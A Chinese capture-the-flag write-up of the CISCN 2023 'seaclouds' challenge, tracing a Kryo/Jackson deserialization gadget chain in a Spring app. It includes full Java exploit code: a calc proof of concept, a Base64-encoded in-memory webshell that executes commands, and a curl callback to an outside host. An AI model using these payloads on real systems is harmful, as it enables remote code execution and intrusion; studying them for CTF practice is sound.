[CISCN 2023 西南]seaclouds
玩了三天,做做题复健。
这次看到的题是CISCN的seaclouds,这道题没直接用java原生反序列化。
审计分析
审一下源码:
一个MessageController.java,访问根路由传参message,
那么它会解码一个硬编码的Base64字符串。如果message
参数不为null,那么它会尝试解码该参数。如果解码失败,它会解码另一个硬编码的Base64字符串。
解码后的字节数组被传递给CodecMessageConverter
的toMessage
方法,该方法将字节数组转换为Message
对象。然后,该方法返回Message
对象的有效负载。
User.java:
没什么东西,就一个简单的功能定义。
StartApp.java:
也没啥东西,就是个启动的玩意。
看下依赖:
发现一个kryo,这里跟了wp审了一下,中间就会用到kyro,而且当时题目的hint就是kyro反序列化 + Hessian原生JDKpoc。
下面分析来自:CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化) | Java (gitbook.io)
也只能从这里入手:
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec()); Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null); return messagecode.getPayload();
这个org.springframework.integration.codec.CodecMessageConverter
是什么?
官方说是:
A MessageConverter that delegates to a Codec to convert.
这里实例化CodecMessageConverter
就传入了org.springframework.integration.codec.kryo.MessageCodec。
Codec
又是什么呢?
Interface for classes that perform both encode (serialize) and decode (deserialize) on multiple classes.
大概就是跟序列化和反序列化有关的。
跟进CodecMessageConverter#toMessage:
这里指定了解码的类型this.messageClass
(GenericMessage
),最后MessageCodec#decode
也返回了一个Message
对象,所以后面构造的时候要用GenericMessage
将payload封装起来:
public class GenericMessage<T> implements Message<T>, Serializable { // Create a new message with the given payload. public GenericMessage(T payload) { this(payload, new MessageHeaders(null)); } @Override public T getPayload() { return this.payload; } }
又注意到控制器最后调用message.getPayload
返回了User
对象。下面代码可证实:
User user = new User(); user.setName("seaclouds"); user.setAge("10"); GenericMessage message = new GenericMessage(user); // 实例化GenericMessage传入payload MessageCodec messageCodec = new MessageCodec(); byte[] bytes = messageCodec.encode(message); CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec()); Message<?> messagecode = codecMessageConverter.toMessage(bytes, (MessageHeaders) null); System.out.println(messagecode.getPayload()); // 输出User{name='seaclouds', age='10'}
回到toMessage
,继续跟进decode:
网上Kryo相关的攻击都是在Dubbo下利用的:
com.esotericsoftware.kryo#readClassAndObject -> com.esotericsoftware.kryo.serializers#read -> java.util.HashMap#put -> org.springframework.aop.target.HotSwappableTargetSource#equals -> com.sun.org.apache.xpath.internal.objects.XString -> com.alibaba.fastjson.JSON#toString -> fastjson gadget -> TemplatesImpl to load evil class
fastjson是Dubbo自带的,本题没有这个依赖
也就是要找后半段链子来接上toString
根据题目提示用Hessian原生JDK去打(Hessian在那条链只充当source
触发toString):
javax.activation.MimeTypeParameterList#toString
UIDefaults#get
UIDefaults#getFromHashTable
UIDefaults$LazyValue#createValue
SwingLazyValue#createValue
sun.reflect.misc.MethodUtil#invoke
开缝
调用链:
CodecMessageConverter -> toMessage(decodemsg, ...) this.codec.decode(decodemsg, ...) AbstractKryoCodec -> decode(decodemsg, ...) PojoCodec -> doDecode(...) Kryo -> readObject(...) MapSerializer -> read(...) Map#put(hotSwappableTargetSource, ...) HotSwappableTargetSource -> equals(...) XString -> equals(pojoNode) BaseJsonNode -> toString() InternalNodeMapper#nodeToString(this) SignedObject -> getObject() a.readObject() BadAttributeValueExpException -> readObject() valObj.toString() BaseJsonNode -> toString() InternalNodeMapper#nodeToString(this) TemplatesImpl -> getOutputProperties() ...
Exp
本地弹calc:
package com.eddiemurphy; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtNewConstructor; import org.springframework.aop.target.HotSwappableTargetSource; import org.springframework.integration.codec.CodecMessageConverter; import org.springframework.integration.codec.kryo.MessageCodec; import org.springframework.messaging.Message; import org.springframework.messaging.MessageHeaders; import org.springframework.messaging.support.GenericMessage; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.net.URLEncoder; import java.security.*; import java.util.Base64; import java.util.HashMap; public class Exp { public static void main(String[] args) throws Exception { // 二次反序列化 BadAttributeValueExpException -> POJONode -> TemplatesImpl ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist"); ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass); ctClass.addConstructor(ctConstructor); byte[] byteCode = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "whatever"); setFieldValue(templates, "_bytecodes", new byte[][]{byteCode}); POJONode pojoNode1 = new POJONode(templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever"); setFieldValue(badAttributeValueExpException, "val", pojoNode1); // 一次反序列化 HotSwappableTargetSource -> XString -> POJONode -> SignedObject // 初始化 SignedObject KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); // 设置二次反序列化入口 SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine); POJONode pojoNode2 = new POJONode(signedObject); HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever")); // 手动构造 HashMap 以防触发正向利用链 HashMap hashMap = new HashMap(); setFieldValue(hashMap, "size", 2); Class nodeC; nodeC = Class.forName("java.util.HashMap$Node"); Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null)); Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null)); setFieldValue(hashMap, "table", tbl); CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec()); // 序列化 GenericMessage genericMessage = new GenericMessage(hashMap); byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null); System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8")); // 反序列化 Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null); messagecode.getPayload(); } public static void setFieldValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
注意重写com.fasterxml.jackson.databind.node.BaseJsonNode
,移除其writeReplace()
方法,让Exp里的优先调用我们重写的方法,以顺利进行对象序列化,注意一下文件结构:
终于.....
但题目不出网,所以要打一个内存马:
package com.eddiemurphy; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import org.springframework.aop.target.HotSwappableTargetSource; import org.springframework.integration.codec.CodecMessageConverter; import org.springframework.integration.codec.kryo.MessageCodec; import org.springframework.messaging.support.GenericMessage; import java.io.IOException; import java.lang.reflect.Field; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.Signature; import java.security.SignedObject; import java.util.Base64; import java.util.HashMap; public class Exp { public static void main(String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl(); String s="yv66vgAAADQAzQoANQBOCABPCwAqAFAIAFEKAFIAUwoACQBUCABVCgAJAFYHAFcIAFgIAFkIAFoIAFsKAFwAXQoAXABeCgBfAGAHAGEKABEAYggAYwoAEQBkCgARAGUKABEAZggAZwsAKwBoCgBpAGoKAGkAawoAbABtCABuCwBvAHAHAHEHAHILAB4AcwoAdAB1CAB2CgApAHcKAHgAeQoAeAB6BwB8BwB/CAA6BwCABwCBBwCCCgApAIMIAIQKAHsAhQsAhgCHCwCGAIgKACcATgoAHwCJBwCKCgAzAIsHAIwBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAFc2hlbGwBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQANU3RhY2tNYXBUYWJsZQcAVwcAjQcAjgcAYQcAfwcAgQcAggEACkV4Y2VwdGlvbnMHAI8BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAJABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4HAIoBAApTb3VyY2VGaWxlAQANTWVtU2hlbGwuamF2YQwANgA3AQADY21kDACRAJIBAAdvcy5uYW1lBwCTDACUAJIMAJUAlgEAA3dpbgwAlwCYAQAQamF2YS9sYW5nL1N0cmluZwEAAnNoAQACLWMBAAdjbWQuZXhlAQACL2MHAJkMAJoAmwwAnACdBwCeDACfAKABABFqYXZhL3V0aWwvU2Nhbm5lcgwANgChAQACXEEMAKIAowwApAClDACmAJYBAAAMAKcAqAcAqQwAqgCrDACsADcHAK0MAK4ArwEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAsAwAsQCyAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDACzALQHALUMALYAtwEABmNvbmZpZwwAuAC5BwC6DAC7ALwMAL0AvgcAvwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb24BABRCdWlsZGVyQ29uZmlndXJhdGlvbgEADElubmVyQ2xhc3NlcwEACE1lbVNoZWxsAQAPamF2YS9sYW5nL0NsYXNzAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDADAAMEBAAYvc2hlbGwMAMIAxAcAxQwAxgDHDADIAMkMAMoAywEAE2phdmEvbGFuZy9FeGNlcHRpb24MAMwANwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL09iamVjdAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABXBhdGhzAQAHQnVpbGRlcgEAXChbTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXI7AQBFb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAAVidWlsZAEAQSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAPcmVnaXN0ZXJNYXBwaW5nAQBuKExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7KVYBAA9wcmludFN0YWNrVHJhY2UAIQAnADUAAAAAAAUAAQA2ADcAAQA4AAAAHQABAAEAAAAFKrcAAbEAAAABADkAAAAGAAEAAAATAAEAOgA7AAIAOAAAASEABQAJAAAAqSsSArkAAwIAxgCgBD4SBLgABToEGQTGABIZBLYABhIHtgAImQAFAz4dmQAfBr0ACVkDEgpTWQQSC1NZBSsSArkAAwIAU6cAHAa9AAlZAxIMU1kEEg1TWQUrEgK5AAMCAFM6BbgADhkFtgAPtgAQOga7ABFZGQa3ABISE7YAFDoHGQe2ABWZAAsZB7YAFqcABRIXOggsuQAYAQAZCLYAGSy5ABgBALYAGrEAAAACADkAAAAyAAwAAAAqAAsAKwANACwAFAAtACYALgAoADAAYwAxAHAAMgCAADMAlAA0AJ8ANQCoADcAPAAAAC4ABv0AKAEHAD0fWAcAPv4ALgcAPgcAPwcAQEEHAD3/ABUAAwcAQQcAQgcAQwAAAEQAAAAEAAEARQABAEYARwACADgAAAAZAAAAAwAAAAGxAAAAAQA5AAAABgABAAAAPABEAAAABAABAEgAAQBGAEkAAgA4AAAAGQAAAAQAAAABsQAAAAEAOQAAAAYAAQAAAEEARAAAAAQAAQBIAAgASgA3AAEAOAAAAOoABgAHAAAAf7gAGxIcA7kAHQMAwAAeSyoSH7kAIAIAwAAfTCu2ACESIrYAI00sBLYAJCwrtgAlwAAmThInEigFvQApWQMSKlNZBBIrU7YALDoEBL0ACVkDEi1TuAAuLbkALwIAuQAwAQA6BbsAJ1m3ADE6BisZBRkGGQS2ADKnAAhLKrYANLEAAQAAAHYAeQAzAAIAOQAAAEIAEAAAABcADwAYABsAGQAlABoAKgAbACwAHAAzAB0ASgAeAFcAHwBcACAAYwAhAGwAIgB2ACYAeQAkAHoAJQB+ACcAPAAAAAkAAvcAeQcASwQAAgBMAAAAAgBNAH4AAAASAAIAJgB7AH0ACQCGAHsAwwYJ"; byte[] bytes=Base64.getDecoder().decode(s); setFieldValue(templates,"_name","EddieMurphy"); setFieldValue(templates,"_class",null); setFieldValue(templates,"_bytecodes",new byte[][]{bytes}); POJONode pojoNode=new POJONode(templates); HotSwappableTargetSource hotSwappableTargetSource=new HotSwappableTargetSource(1); HotSwappableTargetSource hotSwappableTargetSource1=new HotSwappableTargetSource(2); HashMap hashMap=new HashMap(); hashMap.put(hotSwappableTargetSource,"1"); hashMap.put(hotSwappableTargetSource1,"2"); setFieldValue(hotSwappableTargetSource,"target",pojoNode); setFieldValue(hotSwappableTargetSource1,"target",new XString("a")); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA")); POJONode pojoNode1=new POJONode(signedObject); HotSwappableTargetSource hotSwappableTargetSource2=new HotSwappableTargetSource(3); HotSwappableTargetSource hotSwappableTargetSource3=new HotSwappableTargetSource(4); HashMap hashMap1=new HashMap(); hashMap1.put(hotSwappableTargetSource2,"1"); hashMap1.put(hotSwappableTargetSource3,"2"); setFieldValue(hotSwappableTargetSource2,"target",pojoNode1); setFieldValue(hotSwappableTargetSource3,"target",new XString("b")); CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec()); GenericMessage genericMessage = new GenericMessage(hashMap1); byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null); System.out.println(Base64.getEncoder().encodeToString(decodemsg)); // Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null); // messagecode.getPayload(); } public static void setFieldValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException { ClassPool classPool=ClassPool.getDefault(); CtClass ctClass=classPool.makeClass("Test"); ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "Runtime.getRuntime().exec(\"curl 0gdcjvf8.requestrepo.com\");"; ctClass.makeClassInitializer().insertBefore(block); return ctClass.toBytecode(); } }
记得url编码,构造一下POST包。
环境变量拿下flag:
参考:
【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现-CSDN博客
【Web】关于Java反序列化那些实现机制的朴素通识-CSDN博客
CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化) | Java (gitbook.io)
CISCN2023西南赛区半决赛 seaclouds (yuque.com)